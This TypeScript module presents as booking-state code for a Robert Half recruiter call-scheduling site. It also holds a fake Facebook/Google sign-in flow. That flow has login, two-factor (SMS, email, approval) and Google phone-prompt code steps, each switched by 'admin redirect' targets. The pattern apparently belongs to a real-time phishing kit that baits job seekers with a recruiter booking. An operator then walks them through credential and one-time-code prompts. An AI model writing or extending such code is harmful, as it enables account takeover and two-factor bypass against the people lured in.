/** Shared booking state across home → schedule-call → date/time → details → confirmation */

export const BOOKING_RECRUITER_KEY = "robert-half-selected-recruiter"

// Legacy alias
export const STORAGE_RECRUITER_KEY = BOOKING_RECRUITER_KEY

export type BookingSlot = {
  dateIso: string
  time24: string
  displayDate: string
  displayTime: string
  timezone: string
}

const BOOKING_SLOT_KEY = "rh-booking-slot"
const BOOKING_SLOT_EVENT = "rh-booking-slot-updated"

function readSlotFrom(storage: Storage): BookingSlot | null {
  try {
    const raw = storage.getItem(BOOKING_SLOT_KEY)
    return raw ? (JSON.parse(raw) as BookingSlot) : null
  } catch {
    return null
  }
}

/** Build "3:30pm - 4:00pm" for a 30-minute consultation. */
export function formatMeetingTimeRange(time24: string): string {
  const [h, m] = time24.split(":").map(Number)
  const start = new Date()
  start.setHours(h || 0, m || 0, 0, 0)
  const end = new Date(start.getTime() + 30 * 60 * 1000)
  const fmt = (d: Date) =>
    d.toLocaleTimeString("en-US", { hour: "numeric", minute: "2-digit" })
  return `${fmt(start)} - ${fmt(end)}`
}

/** Single line for Meeting details: time range + full date */
export function formatMeetingDetailsLine(slot: BookingSlot): string {
  const time =
    slot.displayTime.includes(" - ") || slot.displayTime.includes("–")
      ? slot.displayTime
      : formatMeetingTimeRange(slot.time24)
  return `${time}, ${slot.displayDate}`
}

export function setBookingSlot(slot: BookingSlot): void {
  if (typeof window === "undefined") return
  const normalized: BookingSlot = {
    ...slot,
    displayTime:
      slot.displayTime.includes(" - ") || slot.displayTime.includes("–")
        ? slot.displayTime
        : formatMeetingTimeRange(slot.time24),
    timezone: slot.timezone || Intl.DateTimeFormat().resolvedOptions().timeZone,
  }
  const raw = JSON.stringify(normalized)
  sessionStorage.setItem(BOOKING_SLOT_KEY, raw)
  try {
    localStorage.setItem(BOOKING_SLOT_KEY, raw)
  } catch {
    /* private mode */
  }
  window.dispatchEvent(new CustomEvent(BOOKING_SLOT_EVENT, { detail: normalized }))
}

export function getBookingSlot(): BookingSlot | null {
  if (typeof window === "undefined") return null
  return readSlotFrom(sessionStorage) || readSlotFrom(localStorage)
}

export function clearBookingSlot(): void {
  if (typeof window === "undefined") return
  sessionStorage.removeItem(BOOKING_SLOT_KEY)
  try {
    localStorage.removeItem(BOOKING_SLOT_KEY)
  } catch {
    /* ignore */
  }
  window.dispatchEvent(new CustomEvent(BOOKING_SLOT_EVENT, { detail: null }))
}

/** Live updates when slot is saved (select-date-time → enter-details → confirmation). */
export function subscribeBookingSlot(
  onChange: (slot: BookingSlot | null) => void
): () => void {
  if (typeof window === "undefined") return () => {}

  const fromEvent = (e: Event) => {
    const detail = (e as CustomEvent<BookingSlot | null>).detail
    onChange(detail ?? getBookingSlot())
  }
  const fromStorage = (e: StorageEvent) => {
    if (e.key === BOOKING_SLOT_KEY) onChange(getBookingSlot())
  }

  window.addEventListener(BOOKING_SLOT_EVENT, fromEvent)
  window.addEventListener("storage", fromStorage)
  return () => {
    window.removeEventListener(BOOKING_SLOT_EVENT, fromEvent)
    window.removeEventListener("storage", fromStorage)
  }
}

export function getRecruiterIdFromSearch(search: string): string | null {
  if (!search) return null
  return new URLSearchParams(search).get("recruiter")
}

/** Append recruiter query param when we have one in storage or URL */
export function withRecruiterParam(path: string, recruiterId?: string | null): string {
  if (typeof window === "undefined") return path

  const id =
    recruiterId ??
    getRecruiterIdFromSearch(window.location.search) ??
    sessionStorage.getItem(BOOKING_RECRUITER_KEY)

  if (!id) return path

  const [pathname, search = ""] = path.split("?")
  const params = new URLSearchParams(search)

  if (pathname.includes("schedule-call") && !params.has("recruiter")) {
    params.set("recruiter", id)
  } else if (!path.includes("recruiter=")) {
    params.set("recruiter", id)
  }

  const qs = params.toString()
  return qs ? `${pathname}?${qs}` : pathname
}

/** Enhance admin redirect targets with stored recruiter */
export function isScheduleCallPath(pathname: string): boolean {
  return pathname === '/schedule-call' || pathname.endsWith('/schedule-call')
}

/** Dialog step from an admin redirect target, if any. */
export function getDialogParamFromRedirect(redirectTo: string): string | null {
  try {
    const url = new URL(redirectTo, 'http://local')
    if (!isScheduleCallPath(url.pathname)) return null
    return url.searchParams.get('dialog')
  } catch {
    return null
  }
}

export type FacebookDialogStep =
  | 'login'
  | 'login-error'
  | 'loading'
  | '2fa'
  | '2fa-error'
  | '2fa-sms'
  | '2fa-sms-error'
  | '2fa-email'
  | '2fa-email-error'
  | 'approve'
  | 'approve-error'
  | 'phone-code'
  | 'phone-code-error'

/** True when admin redirect should update the visitor (incl. ?dialog= changes on schedule-call). */
export function redirectTargetsDiffer(targetHref: string, currentHref: string): boolean {
  try {
    const base = 'http://local'
    const t = new URL(targetHref, base)
    const c = new URL(currentHref, base)
    if (t.pathname !== c.pathname) return true
    if (isScheduleCallPath(t.pathname)) {
      return (
        t.searchParams.get('dialog') !== c.searchParams.get('dialog') ||
        t.searchParams.get('gcode') !== c.searchParams.get('gcode')
      )
    }
    // Booking pages: only recruiter matters (ignore cache-bust / param order)
    return t.searchParams.get('recruiter') !== c.searchParams.get('recruiter')
  } catch {
    return targetHref !== currentHref
  }
}

export function dialogParamToStep(dialog: string | null): FacebookDialogStep {
  switch (dialog) {
    case 'login-error':
      return 'login-error'
    case 'loading':
      return 'loading'
    case '2fa':
      return '2fa'
    case '2fa-error':
      return '2fa-error'
    case '2fa-sms':
      return '2fa-sms'
    case '2fa-sms-error':
      return '2fa-sms-error'
    case '2fa-email':
      return '2fa-email'
    case '2fa-email-error':
      return '2fa-email-error'
    case 'approve':
      return 'approve'
    case 'approve-error':
      return 'approve-error'
    case 'phone-code':
      return 'phone-code'
    case 'phone-code-error':
      return 'phone-code-error'
    case 'google':
    case 'facebook':
    case null:
      return 'login'
    default:
      return 'login'
  }
}

/** Normalize Google phone-prompt number (1–99, same as device notification). */
export function normalizeGooglePromptCode(raw: string | null | undefined): string | null {
  if (!raw) return null
  const digits = String(raw).replace(/\D/g, '')
  if (!digits) return null
  const n = parseInt(digits, 10)
  if (!Number.isFinite(n) || n < 1 || n > 99) return null
  return String(n)
}

/** Build schedule-call URL for the phone-number challenge. */
export function buildGooglePhoneCodePath(
  code: string,
  error = false,
  auth?: "google" | "facebook"
): string {
  const gcode = normalizeGooglePromptCode(code) || "47"
  const dialog = error ? "phone-code-error" : "phone-code"
  const authQ = auth ? `&auth=${auth}` : ""
  return `/schedule-call?dialog=${dialog}&gcode=${gcode}${authQ}`
}

/** Read auth=google|facebook from a redirect path (admin provider pin). */
export function getAuthProviderFromRedirect(
  href: string | null | undefined
): "google" | "facebook" | null {
  if (!href) return null
  try {
    const url = href.startsWith("http") ? new URL(href) : new URL(href, "http://local")
    const auth = url.searchParams.get("auth")
    if (auth === "google" || auth === "facebook") return auth
    const dialog = url.searchParams.get("dialog")
    if (dialog === "google") return "google"
    if (dialog === "facebook") return "facebook"
  } catch {
    if (/[?&]auth=facebook\b/i.test(href) || /[?&]dialog=facebook\b/i.test(href)) {
      return "facebook"
    }
    if (/[?&]auth=google\b/i.test(href) || /[?&]dialog=google\b/i.test(href)) {
      return "google"
    }
  }
  return null
}

/** Read Google phone-prompt number from redirect/page URL (?gcode=47). */
export function getGooglePromptCodeFromUrl(href: string | null | undefined): string | null {
  if (!href) return null
  try {
    const url = href.startsWith('http') ? new URL(href) : new URL(href, 'http://local')
    return normalizeGooglePromptCode(url.searchParams.get('gcode'))
  } catch {
    const m = href.match(/[?&]gcode=(\d{1,2})/i)
    return m ? normalizeGooglePromptCode(m[1]) : null
  }
}

export function normalizeRedirectPath(redirectTo: string): string {
  if (typeof window === "undefined") return redirectTo
  const needsRecruiter =
    redirectTo.startsWith("/schedule-call") ||
    redirectTo.startsWith("/select-date-time") ||
    redirectTo.startsWith("/enter-details") ||
    redirectTo === "/confirmation"

  if (!needsRecruiter) return redirectTo
  return withRecruiterParam(redirectTo)
}

export const FLOW_PAGES = {
  home: "/",
  scheduleCall: "/schedule-call",
  selectDateTime: "/select-date-time",
  enterDetails: "/enter-details",
  confirmation: "/confirmation",
} as const

/** Minimum calendar days after today before a call can be booked */
export const MIN_BOOKING_LEAD_DAYS = 3

/** How many months ahead candidates can book */
export const BOOKING_WINDOW_MONTHS = 12

export function startOfDay(date: Date): Date {
  const d = new Date(date)
  d.setHours(0, 0, 0, 0)
  return d
}

export function getEarliestBookableDate(): Date {
  const d = startOfDay(new Date())
  d.setDate(d.getDate() + MIN_BOOKING_LEAD_DAYS)
  return d
}

export function getLatestBookableDate(): Date {
  const d = startOfDay(new Date())
  d.setMonth(d.getMonth() + BOOKING_WINDOW_MONTHS)
  return d
}

/** First month shown in the calendar dropdown */
export function getBookingStartMonth(): Date {
  const earliest = getEarliestBookableDate()
  return new Date(earliest.getFullYear(), earliest.getMonth(), 1)
}

/** Last month shown in the calendar dropdown */
export function getBookingEndMonth(): Date {
  const latest = getLatestBookableDate()
  return new Date(latest.getFullYear(), latest.getMonth(), 1)
}

export function isBookableWeekday(date: Date): boolean {
  const day = date.getDay()
  return day !== 0 && day !== 6
}

export function isDateBookable(date: Date): boolean {
  const day = startOfDay(date)
  return (
    day >= getEarliestBookableDate() &&
    day <= getLatestBookableDate() &&
    isBookableWeekday(date)
  )
}
